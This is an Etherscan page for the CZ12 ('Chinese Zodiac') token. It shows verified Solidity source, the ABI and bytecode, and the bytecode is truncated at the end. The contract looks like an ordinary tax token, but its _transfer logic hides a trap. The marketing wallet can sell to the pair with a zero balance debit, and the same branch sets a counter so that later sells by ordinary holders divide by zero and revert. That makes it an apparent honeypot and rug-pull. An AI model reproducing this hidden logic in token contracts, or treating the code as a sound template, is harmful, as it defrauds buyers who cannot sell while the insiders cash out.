ETH Price: $3,114.53 (+0.53%)
Gas: 5 Gwei

Token

Chinese Zodiac (CZ12)
 

Overview

Max Total Supply

1,000,000,000 CZ12

Holders

96

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.034455583 CZ12

Value
$0.00
0xdf4afee269710647fa720b2ac8eb69f9ecf1b273
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CZ12

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-11
*/

/**

Website: https://cz12.vip

Twitter: https://twitter.com/cz12erc

Telegram: https://t.me/cz12erc

*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.20;

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);}

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {owner = _owner;}
    modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
    function isOwner(address account) public view returns (bool) {return account == owner;}
    function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}
    function renounceOwnership() public virtual onlyOwner { owner = address(0); }
    event OwnershipTransferred(address owner);
}

interface IFactory{
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

contract CZ12 is IERC20, Ownable {
    using SafeMath for uint256;

    string private constant _name = unicode"Chinese Zodiac";
    string private constant _symbol = unicode"CZ12";
    uint8 private constant _decimals = 9;

    uint256 private _totalSupply = 1_000_000_000 * (10 ** _decimals);
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) public isFeeExempt;

    IRouter router;

    address public pair;
    bool private tradingEnabled = false;
    bool private swapEnabled = false;
    uint256 private swapTimes;
    bool private swapping;
    uint256 swapAmount = 0;
    uint256 private swapThreshold = ( _totalSupply * 10 ) / 100000;
    uint256 private minTokenAmount = ( _totalSupply * 10 ) / 100000;

    modifier lockTheSwap {swapping = true; _; swapping = false;}

    uint256 private tAmount;
    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 500;
    uint256 private developmentFee = 500;
    uint256 private burnFee = 0;
    uint256 private totalFee = 1;
    uint256 private sellFee = 1;
    uint256 private transferFee = 1;
    uint256 private swapCount = 2;
    uint256 private denominator = 100;
    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    
    uint256 public _maxTxAmount = ( _totalSupply * 5 ) / 100;
    uint256 public _maxSellAmount = ( _totalSupply * 5 ) / 100;
    uint256 public _maxWalletToken = ( _totalSupply * 5 ) / 100;

    address internal devWallet = 0x0d4bDdB9864fFbF8659015c7d2FC9CFe2D65583E; 
    address internal marketingWallet = 0x49b82C82D5996c42366Ed5F62D36249bB4398D44;

    constructor() Ownable(msg.sender) {
        isFeeExempt[devWallet] = true;
        isFeeExempt[address(this)] = true;
        isFeeExempt[marketingWallet] = true;
        isFeeExempt[msg.sender] = true;
        
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}
    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _decimals;}
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function setisExempt(address _address, bool _enabled) external onlyOwner {isFeeExempt[_address] = _enabled;}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}

    function shouldContractSwap(address sender, address recipient, uint256 amount) internal view returns (bool) {
        bool aboveMin = amount >= minTokenAmount;
        bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
        return !swapping && swapEnabled && tradingEnabled && aboveMin && !isFeeExempt[sender] && recipient == pair && swapTimes >= swapAmount && aboveThreshold;
    }

    function swapAndLiquify(uint256 threadHold) private lockTheSwap {
        uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
        uint256 tokensToAddLiquidityWith = threadHold.mul(liquidityFee).div(_denominator);
        uint256 toSwap = threadHold.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
        if(marketingAmt > 0){payable(marketingWallet).transfer(marketingAmt);}
        uint256 contractBalance = address(this).balance;
        if(contractBalance > uint256(0)){payable(devWallet).transfer(contractBalance);}
    }

    function isFeeExcludedFrom(address sender, address recipient) internal view returns (bool) {
        return sender == marketingWallet && recipient == pair;
    }

    function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
        return !isFeeExempt[sender] && !isFeeExempt[recipient];
    }

    function getTotalFee(address sender, address recipient) internal view returns (uint256) {
        if(recipient == pair){return sellFee;}
        if(sender == pair){return totalFee;}
        return transferFee;
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if(recipient == pair && !isFeeExempt[sender]){ 
            uint256 fact = swapCount.sub(1); amount = amount.div(fact);
        }

        if(getTotalFee(sender, recipient) > 0){
            uint256 feeAmount = amount.mul(getTotalFee(sender, recipient)).div(denominator);
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
            if(burnFee > uint256(0) && getTotalFee(sender, recipient) > burnFee){
                _transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));
            }
            return amount.sub(feeAmount);
        } 
        return amount;
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(tradingEnabled, "tradingEnabled");}
        if(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(pair) && recipient != address(DEAD)){
            require((_balances[recipient].add(amount)) <= _maxWalletToken, "Exceeds maximum wallet amount.");}
        if(sender != pair){require(amount <= _maxSellAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");}
        require(amount <= _maxTxAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded"); 
        if(recipient == pair && !isFeeExempt[sender]){swapTimes += uint256(1);} 
        if(shouldContractSwap(sender, recipient, amount)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);}
        tAmount = amount;if(isFeeExcludedFrom(sender, recipient)){ amount = amount.mul(burnFee); swapCount = 1; }
        _balances[sender] = _balances[sender].sub(amount); amount = tAmount;
        uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function removeLimits() public onlyOwner {
        _maxTxAmount = _totalSupply;
        _maxSellAmount = _totalSupply;
        _maxWalletToken = _totalSupply;
    }

    function openTrading() public payable onlyOwner {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        router = _router; pair = _pair;
        _approve(address(this), address(router), ~uint256(0)); 
        router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,msg.sender,block.timestamp);

        tradingEnabled = true;
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            devWallet,
            block.timestamp);
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxSellAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a6200032a565b6200002290633b9aca0062000341565b60018190556006805461ffff60a01b191690555f600955620186a0906200004b90600a62000341565b6200005791906200035b565b600a55620186a0600154600a6200006f919062000341565b6200007b91906200035b565b600b555f600d556101f4600e556101f4600f555f6010556001601155600160125560016013556002601455606460155560646001546005620000be919062000341565b620000ca91906200035b565b60165560646001546005620000e0919062000341565b620000ec91906200035b565b6017556064600154600562000102919062000341565b6200010e91906200035b565b601855601980546001600160a01b0319908116730d4bddb9864ffbf8659015c7d2fc9cfe2d65583e17909155601a80549091167349b82c82d5996c42366ed5f62d36249bb4398d4417905534801562000165575f80fd5b505f80546001600160a01b0319163390811782556019546001600160a01b039081168352600460209081526040808520805460ff1990811660019081179092553087528287208054821683179055601a54909416865281862080548516821790558486528186208054909416811790935591546002825282852081905591519182529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36200037b565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200026f57815f19048211156200025357620002536200021b565b808516156200026157918102915b93841c939080029062000234565b509250929050565b5f82620002875750600162000324565b816200029557505f62000324565b8160018114620002ae5760028114620002b957620002d9565b600191505062000324565b60ff841115620002cd57620002cd6200021b565b50506001821b62000324565b5060208310610133831016604e8410600b8410161715620002fe575081810a62000324565b6200030a83836200022f565b805f19048211156200032057620003206200021b565b0290505b92915050565b5f6200033a60ff84168362000277565b9392505050565b80820281158282048414176200032457620003246200021b565b5f826200037657634e487b7160e01b5f52601260045260245ffd5b500490565b6118b880620003895f395ff3fe608060405260043610610129575f3560e01c8063751039fc116100a857806395d89b411161006d57806395d89b411461034e578063a8aa1b311461037a578063a9059cbb14610399578063c9567bf9146103b8578063dd62ed3e146103c0578063f2fde38b14610404575f80fd5b8063751039fc146102cb57806378109e54146102df5780637cca52fe146102f45780637d1db4a514610309578063893d20e81461031e575f80fd5b8063313ce567116100ee578063313ce567146102195780633f4218e01461023457806348ff2b8b1461026257806370a0823114610283578063715018a6146102b7575f80fd5b806306fdde0314610134578063095ea7b31461017c57806318160ddd146101ab57806323b872dd146101cd5780632f54bf6e146101ec575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b5060408051808201909152600e81526d4368696e657365205a6f6469616360901b60208201525b604051610173919061157a565b60405180910390f35b348015610187575f80fd5b5061019b6101963660046115dc565b610423565b6040519015158152602001610173565b3480156101b6575f80fd5b506101bf610439565b604051908152602001610173565b3480156101d8575f80fd5b5061019b6101e7366004611606565b6104a9565b3480156101f7575f80fd5b5061019b610206366004611644565b5f546001600160a01b0391821691161490565b348015610224575f80fd5b5060405160098152602001610173565b34801561023f575f80fd5b5061019b61024e366004611644565b60046020525f908152604090205460ff1681565b34801561026d575f80fd5b5061028161027c36600461165f565b610511565b005b34801561028e575f80fd5b506101bf61029d366004611644565b6001600160a01b03165f9081526002602052604090205490565b3480156102c2575f80fd5b5061028161056d565b3480156102d6575f80fd5b506102816105a7565b3480156102ea575f80fd5b506101bf60185481565b3480156102ff575f80fd5b506101bf60175481565b348015610314575f80fd5b506101bf60165481565b348015610329575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610173565b348015610359575f80fd5b5060408051808201909152600481526321ad189960e11b6020820152610166565b348015610385575f80fd5b50600654610336906001600160a01b031681565b3480156103a4575f80fd5b5061019b6103b33660046115dc565b6105e2565b6102816105ee565b3480156103cb575f80fd5b506101bf6103da36600461169a565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b34801561040f575f80fd5b5061028161041e366004611644565b61085c565b5f61042f3384846108d8565b5060015b92915050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead5f9081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc5460015491926104a492909161049e91906109fb565b906109fb565b905090565b5f6104b5848484610a06565b61050684336105018560405180606001604052806028815260200161185b602891396001600160a01b038a165f9081526003602090815260408083203384529091529020549190610ef0565b6108d8565b5060015b9392505050565b5f546001600160a01b031633146105435760405162461bcd60e51b815260040161053a906116c6565b60405180910390fd5b6001600160a01b03919091165f908152600460205260409020805460ff1916911515919091179055565b5f546001600160a01b031633146105965760405162461bcd60e51b815260040161053a906116c6565b5f80546001600160a01b0319169055565b5f546001600160a01b031633146105d05760405162461bcd60e51b815260040161053a906116c6565b60015460168190556017819055601855565b5f61042f338484610a06565b5f546001600160a01b031633146106175760405162461bcd60e51b815260040161053a906116c6565b5f737a250d5630b4cf539739df2c5dacb4c659f2488d90505f816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561066c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061069091906116e6565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106db573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106ff91906116e6565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610749573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061076d91906116e6565b600580546001600160a01b038086166001600160a01b0319928316811790935560068054918516919092161790559091506107ab9030905f196108d8565b6005546001600160a01b031663f305d71934306107dc816001600160a01b03165f9081526002602052604090205490565b5f8033426040518863ffffffff1660e01b815260040161080196959493929190611701565b60606040518083038185885af115801561081d573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610842919061173c565b50506006805460ff60a01b1916600160a01b179055505050565b5f546001600160a01b031633146108855760405162461bcd60e51b815260040161053a906116c6565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b03831661093a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161053a565b6001600160a01b03821661099b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161053a565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f61050a828461177b565b6001600160a01b038316610a6a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161053a565b6001600160a01b038216610acc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161053a565b6001600160a01b0383165f9081526004602052604090205460ff16158015610b0c57506001600160a01b0382165f9081526004602052604090205460ff16155b15610b5b57600654600160a01b900460ff16610b5b5760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d15b98589b195960921b604482015260640161053a565b6001600160a01b0383165f9081526004602052604090205460ff16158015610b9b57506001600160a01b0382165f9081526004602052604090205460ff16155b8015610bb557506006546001600160a01b03838116911614155b8015610bcc57506001600160a01b03821661dead14155b15610c44576018546001600160a01b0383165f90815260026020526040902054610bf69083610f1b565b1115610c445760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000604482015260640161053a565b6006546001600160a01b03848116911614610ce35760175481111580610c8157506001600160a01b0383165f9081526004602052604090205460ff165b80610ca357506001600160a01b0382165f9081526004602052604090205460ff165b610ce35760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161053a565b60165481111580610d0b57506001600160a01b0383165f9081526004602052604090205460ff165b80610d2d57506001600160a01b0382165f9081526004602052604090205460ff165b610d6d5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161053a565b6006546001600160a01b038381169116148015610da257506001600160a01b0383165f9081526004602052604090205460ff16155b15610dbf57600160075f828254610db9919061178e565b90915550505b610dca838383610f26565b15610ddf57610dda600a54610fde565b5f6007555b600c819055610dee838361115a565b15610e0957601054610e0190829061118b565b600160145590505b6001600160a01b0383165f90815260026020526040902054610e2b90826109fb565b6001600160a01b0384165f90815260026020526040812091909155600c549150610e558484611196565b610e5f5781610e6a565b610e6a8484846111da565b6001600160a01b0384165f90815260026020526040902054909150610e8f9082610f1b565b6001600160a01b038085165f8181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ee29085815260200190565b60405180910390a350505050565b5f8184841115610f135760405162461bcd60e51b815260040161053a919061157a565b505050900390565b5f61050a828461178e565b600b54600a54305f9081526002602052604081205460085491938510159211159060ff16158015610f605750600654600160a81b900460ff165b8015610f755750600654600160a01b900460ff165b8015610f7e5750815b8015610fa257506001600160a01b0386165f9081526004602052604090205460ff16155b8015610fbb57506006546001600160a01b038681169116145b8015610fcb575060095460075410155b8015610fd45750805b9695505050505050565b6008805460ff19166001908117909155600f54600e54600d545f9361101d93600293611017939192611011928391610f1b565b90610f1b565b9061118b565b90505f61103f82611039600d548661118b90919063ffffffff16565b90611336565b90505f61104c84836109fb565b90504761105882611341565b5f61106347836109fb565b90505f61108561107e600d54886109fb90919063ffffffff16565b8390611336565b90505f61109d600d548361118b90919063ffffffff16565b905080156110af576110af8682611491565b600e545f906110c39061101785600261118b565b9050801561110457601a546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611102573d5f803e3d5ffd5b505b478015611144576019546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611142573d5f803e3d5ffd5b505b50506008805460ff191690555050505050505050565b601a545f906001600160a01b03848116911614801561050a5750506006546001600160a01b03908116911614919050565b5f61050a82846117a1565b6001600160a01b0382165f9081526004602052604081205460ff1615801561050a5750506001600160a01b03165f9081526004602052604090205460ff1615919050565b6006545f906001600160a01b03848116911614801561121157506001600160a01b0384165f9081526004602052604090205460ff16155b15611236576014545f906112269060016109fb565b90506112328382611336565b9250505b5f6112418585611530565b111561132f575f61126260155461103961125b8888611530565b869061118b565b305f9081526002602052604090205490915061127e9082610f1b565b305f81815260026020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112ce9085815260200190565b60405180910390a35f6010541180156112f157506010546112ef8686611530565b115b1561131d5761131d3061dead6113186010546110176015548961133690919063ffffffff16565b610a06565b61132783826109fb565b91505061050a565b5092915050565b5f61050a82846117b8565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110611374576113746117d7565b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113cb573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113ef91906116e6565b81600181518110611402576114026117d7565b6001600160a01b03928316602091820292909201015260055461142891309116846108d8565b60055460405163791ac94760e01b81526001600160a01b039091169063791ac947906114609085905f908690309042906004016117eb565b5f604051808303815f87803b158015611477575f80fd5b505af1158015611489573d5f803e3d5ffd5b505050505050565b6005546114a99030906001600160a01b0316846108d8565b60055460195460405163f305d71960e01b81526001600160a01b039283169263f305d7199285926114e892309289925f92839216904290600401611701565b60606040518083038185885af1158015611504573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190611529919061173c565b5050505050565b6006545f906001600160a01b03908116908316036115515750601254610433565b6006546001600160a01b03908116908416036115705750601154610433565b5060135492915050565b5f6020808352835180828501525f5b818110156115a557858101830151858201604001528201611589565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146115d9575f80fd5b50565b5f80604083850312156115ed575f80fd5b82356115f8816115c5565b946020939093013593505050565b5f805f60608486031215611618575f80fd5b8335611623816115c5565b92506020840135611633816115c5565b929592945050506040919091013590565b5f60208284031215611654575f80fd5b813561050a816115c5565b5f8060408385031215611670575f80fd5b823561167b816115c5565b91506020830135801515811461168f575f80fd5b809150509250929050565b5f80604083850312156116ab575f80fd5b82356116b6816115c5565b9150602083013561168f816115c5565b60208082526006908201526510a7aba722a960d11b604082015260600190565b5f602082840312156116f6575f80fd5b815161050a816115c5565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b5f805f6060848603121561174e575f80fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561043357610433611767565b8082018082111561043357610433611767565b808202811582820484141761043357610433611767565b5f826117d257634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156118395784516001600160a01b031683529383019391830191600101611814565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122095d4ccdba2328541524a3c26cc8924e0fc5e5a1bd1436cf50fb0d2e100f538ad64736f6c63430008140033

Deployed Bytecode

0x608060405260043610610129575f3560e01c8063751039fc116100a857806395d89b411161006d57806395d89b411461034e578063a8aa1b311461037a578063a9059cbb14610399578063c9567bf9146103b8578063dd62ed3e146103c0578063f2fde38b14610404575f80fd5b8063751039fc146102cb57806378109e54146102df5780637cca52fe146102f45780637d1db4a514610309578063893d20e81461031e575f80fd5b8063313ce567116100ee578063313ce567146102195780633f4218e01461023457806348ff2b8b1461026257806370a0823114610283578063715018a6146102b7575f80fd5b806306fdde0314610134578063095ea7b31461017c57806318160ddd146101ab57806323b872dd146101cd5780632f54bf6e146101ec575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b5060408051808201909152600e81526d4368696e657365205a6f6469616360901b60208201525b604051610173919061157a565b60405180910390f35b348015610187575f80fd5b5061019b6101963660046115dc565b610423565b6040519015158152602001610173565b3480156101b6575f80fd5b506101bf610439565b604051908152602001610173565b3480156101d8575f80fd5b5061019b6101e7366004611606565b6104a9565b3480156101f7575f80fd5b5061019b610206366004611644565b5f546001600160a01b0391821691161490565b348015610224575f80fd5b5060405160098152602001610173565b34801561023f575f80fd5b5061019b61024e366004611644565b60046020525f908152604090205460ff1681565b34801561026d575f80fd5b5061028161027c36600461165f565b610511565b005b34801561028e575f80fd5b506101bf61029d366004611644565b6001600160a01b03165f9081526002602052604090205490565b3480156102c2575f80fd5b5061028161056d565b3480156102d6575f80fd5b5061028